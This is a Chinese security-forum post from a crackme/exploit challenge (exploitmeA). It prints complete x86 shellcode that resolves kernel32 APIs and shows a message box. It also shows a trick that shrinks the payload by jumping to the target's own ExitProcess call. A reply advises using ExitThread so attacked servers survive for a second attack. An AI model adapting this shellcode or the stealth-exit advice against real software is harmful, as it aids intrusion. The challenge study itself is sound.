【文章标题】: shellcode之小小琢磨
【文章作者】: 安摧
【作者邮箱】: at20042004@163.com
【作者QQ号】: 365188572
【软件名称】: exploitmeA
【下载地址】: pediy
【编写语言】: vc++
【使用工具】: OD,VC98
【操作平台】: winXP
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。
高手大致可以飘过。
但是我还是要邀请combojiang大侠阅读一下本文;因为本文是对阁下的文章的改进。
失误之处敬请诸位大侠赐教!
呵呵!!!

昨天在研究看雪exploit me挑战赛中的exploitmeA例子的时候,仔细阅读了一下combojiang的答案。
文章见:http://bbs.pediy.com/showthread.php?t=57558
combojiang的shellcode确实不凡,包括查找kernel32.dll的位置,查找GetProcAddress和MessageBoxA函数的地址,加密解密shellcode.
但是有一个问题,shellcode最终不能使得程序安静的退出!

在文章中,作者构建shellcode的代码如下:

引用:
void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase,uLibHandle;
  unsigned int ImageBase,flen;
  char *FuncName;  
  
  __asm
  {  
    ///////////////////////////        // shellcode开始标记,方便截取shellcode,这里没启用
    //signature of ShellcodeStart
//    _emit 'S'   
//    _emit 'h'
//    _emit 'e'
//    _emit 'l'
//    _emit 'l'
//    _emit 'c'
//    _emit 'o'
//    _emit 'd'
//    _emit 'e'
//    _emit 'S'
//    _emit 't'
//    _emit 'a'
//    _emit 'r'
//    _emit 't'
    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]    
    add eax,ImageBase    
    mov eax,[eax+0x78]      
    add eax,ImageBase    
    mov esi,eax          
    mov ecx,[eax+0x18]    
    mov eax,[eax+0x20]    
    add eax,ImageBase
    mov ebx,eax  
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb    
    pop esi      
    je  Found  
    inc edx  
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop    
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]    
    add eax,ImageBase    
    shl edx,2
    add eax,edx
    mov eax,[eax]      
    add eax,ImageBase
    jmp Founded
    xor eax,eax
Founded:
    ret
  }
  
  __asm
  {
Start:
    push esi
    push ecx
    
    xor eax, eax        
    xor esi, esi
    mov esi, fs:[esi + 0x18]     
    mov eax, [esi+4]                 
    mov eax, [eax - 0x1c]        
find_kernel32_base:
    dec eax                      
    xor ax, ax
    cmp word ptr [eax], 0x5a4d   
    jne find_kernel32_base       
    
    pop ecx
    pop esi
    mov uKernelBase,eax
    mov ImageBase,eax
    mov flen,0x0c
    call LL1
    _emit 'L'   
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'L'
    _emit 'i'
    _emit 'b'
    _emit 'r'
    _emit 'a'
    _emit 'r'
    _emit 'y'
    _emit 'A'
    _emit 0
LL1:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uLoadLibrary,eax
    
    mov flen,0x0E
    call LL2
    _emit 'G'   
    _emit 'e'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'A'
    _emit 'd'
    _emit 'd'
    _emit 'r'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
LL2:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uGetProcAddress,eax
    
    call l1
    _emit 'u'
    _emit 's'
    _emit 'e'
    _emit 'r'
    _emit '3'
    _emit '2'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
l1:
    call uLoadLibrary
    mov uLibHandle,eax
    call l2
    _emit 'M'   
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 'a'
    _emit 'g'
    _emit 'e'
    _emit 'B'
    _emit 'o'
    _emit 'x'
    _emit 'A'
    _emit 0
l2:
    push uLibHandle
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit 'C'   
    _emit 'T'
    _emit 'S'
    _emit 0

l3:
    call l4
    _emit 'A'
    _emit 'n'
    _emit 'C'
    _emit 'u'
    _emit 'i'
    _emit 0

l4:
    push NULL
    call eax  
    call l5      //我添加的安静退出程序的代码 ①开始
    _emit 'E'       //调用ExitProcess
    _emit 'x'
    _emit 'i'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
l5:
    push uLibHandle
    call uGetProcAddress
    push NULL
    call eax      //①结束

    ///////////////////////////      //shellcode结束标记,方便截取shellcode
    //signature of ShellcodeEnd
    _emit 'S'   
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'c'
    _emit 'o'
    _emit 'd'
    _emit 'e'
    _emit 'E'
    _emit 'n'
    _emit 'd'
    //////////////////////////////

  }
}
其中红色的代码是我做的修改。
修改的目的是显示标题为CTS,内容为CTS.AnCui的消息框,并且安静退出程序(ExitProcess)。

但是这个时候问题来了,缓冲区总长度为512个字节,可利用的长度为(512-200-4)=308个字节。
而shellcode和解密部分的加起来要有333个字节,不够了!!!

怎么办???

我的解决办法是修改从①开始到①结束位置的代码为:

引用:
mov eax,00402005h
jmp eax
跳转到00402005h地址执行。
为什么这样做呢???

用od打开文件exploitmeA,右键->查找->所有模块间调用:
会看到下面两行:
引用:
00402005   call    dword ptr [<&KERNEL32.ExitProces  kernel32.ExitProcess
00402148   call    dword ptr [<&KERNEL32.ExitProces  kernel32.ExitProcess
在exploitmeA中,00402005位置的代码:
引用:
00401FFB  |.  FF7424 08     push    dword ptr [esp+8]                ; /ExitCode
00401FFF  |.  893D F09A4000 mov     dword ptr [409AF0], edi          ; |
00402005  |.  FF15 28804000 call    dword ptr [<&KERNEL32.ExitProces>; \ExitProcess
在这里退出程序。
这下子大家理解了吧。


修改后的shellcode为(修改后shellcode总长度308)
引用:
void  ShellcodeFunc()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
  unsigned int ImageBase,flen;
  char *FuncName;  
  
  __asm
  {  
    ///////////////////////////
    //signature of ShellcodeStart
//    _emit 'S'   
//    _emit 'h'
//    _emit 'e'
//    _emit 'l'
//    _emit 'l'
//    _emit 'c'
//    _emit 'o'
//    _emit 'd'
//    _emit 'e'
//    _emit 'S'
//    _emit 't'
//    _emit 'a'
//    _emit 'r'
//    _emit 't'
    ////////////////////////////

    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]    
    add eax,ImageBase    
    mov eax,[eax+0x78]      
    add eax,ImageBase    
    mov esi,eax          
    mov ecx,[eax+0x18]    
    mov eax,[eax+0x20]    
    add eax,ImageBase
    mov ebx,eax  
    xor edx,edx
FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb    
    pop esi      
    je  Found  
    inc edx  
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop    
Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]    
    add eax,ImageBase    
    shl edx,2
    add eax,edx
    mov eax,[eax]      
    add eax,ImageBase
    jmp Founded
    xor eax,eax
Founded:
    ret
  }
  
  __asm
  {
Start:
    push esi
    push ecx
    
    xor eax, eax        
    xor esi, esi
    mov esi, fs:[esi + 0x18]     
    mov eax, [esi+4]                       
    mov eax, [eax - 0x1c]        
find_kernel32_base:
    dec eax                      
    xor ax, ax
    cmp word ptr [eax], 0x5a4d   
    jne find_kernel32_base       
    
    pop ecx
    pop esi
    mov uKernelBase,eax
    mov ImageBase,eax
    mov flen,0x0c
    call LL1
    _emit 'L'   
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'L'
    _emit 'i'
    _emit 'b'
    _emit 'r'
    _emit 'a'
    _emit 'r'
    _emit 'y'
    _emit 'A'
    _emit 0
LL1:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uLoadLibrary,eax
    
    mov flen,0x0E
    call LL2
    _emit 'G'   
    _emit 'e'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'A'
    _emit 'd'
    _emit 'd'
    _emit 'r'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
LL2:
    pop eax
    mov FuncName,eax
    call GetFunc
    mov uGetProcAddress,eax
    
    call l1
    _emit 'u'
    _emit 's'
    _emit 'e'
    _emit 'r'
    _emit '3'
    _emit '2'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
l1:
    call uLoadLibrary
    call l2
    _emit 'M'   
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 'a'
    _emit 'g'
    _emit 'e'
    _emit 'B'
    _emit 'o'
    _emit 'x'
    _emit 'A'
    _emit 0
l2:
    push eax
    call uGetProcAddress
    push MB_OK | MB_ICONINFORMATION
    call l3
    _emit 'C'
    _emit 'T'
    _emit 'S'
    _emit 0
l3:
    call l4
    _emit 'A'
    _emit 'n'
    _emit 'C'
    _emit 'u'
    _emit 'i'
    _emit 0
l4:
    push NULL
    call eax  
    
    mov eax,00402005h
    jmp eax

    ///////////////////////////
    //signature of ShellcodeEnd
    _emit 'S'   
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'c'
    _emit 'o'
    _emit 'd'
    _emit 'e'
    _emit 'E'
    _emit 'n'
    _emit 'd'
    //////////////////////////////

  }
}

总结:
引用:
在shellcode中,我们要调用的函数一般都是我们手动查找的,但是这个会使用我们大量的可利用缓冲区空间。
这个时候我们可以利用程序中自带的对我们所需要的函数的调用。
使用jmp和call指令,当然call可能更好一点,应为call之后,还可以再返回shellcode部分。

如果call的位置适当,甚至程序不用退出;程序继续新的一轮执行(比如跳转到某处异常处理中),而程序使用者不会觉察到任何异常!!!
大概这篇文章只有上面一段比较重要。
但是,各位看客们鼓励鼓励俺们原创吧。
哈哈
毕设中,繁忙,偷着乐。

【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!


                                                       2008年02月27日 19:51:36

  • 标 题:上传一下附件
  • 作 者:安摧
  • 时 间:2008-02-27 21:06

上传一下附件,大家可以体验一下。

上传的附件 缓冲区溢出漏洞的利用.rar

  • 标 题:答复
  • 作 者:scz
  • 时 间:2008-02-28 09:27

> 这个时候我们可以利用程序中自带的对我们所需要的函数的调用。
> (比如跳转到某处异常处理中),而程序使用者不会觉察到任何异常

第一条在实际中不是因为那些攻击者没想到要节省空间,一般他们首先追求高可移植性,就是所
谓"通用"。像你那样处理,他们的shellcode的针对性就增大了。而像这些经常搞攻击的人,到
了最后是懒得微调这种地方,套用成熟的攻击模板,熟练工种带来的审美疲劳都决定了这一点。

第二条,一般在攻击Windows时,现在多用ExitThread(),不用ExitProcess(),因为大量
victim是有SEH保护的,可以缓过劲来,至少可以暂时缓过劲来,对于那些个服务端程序,尤
为明显。这样就给了二次攻击的机会。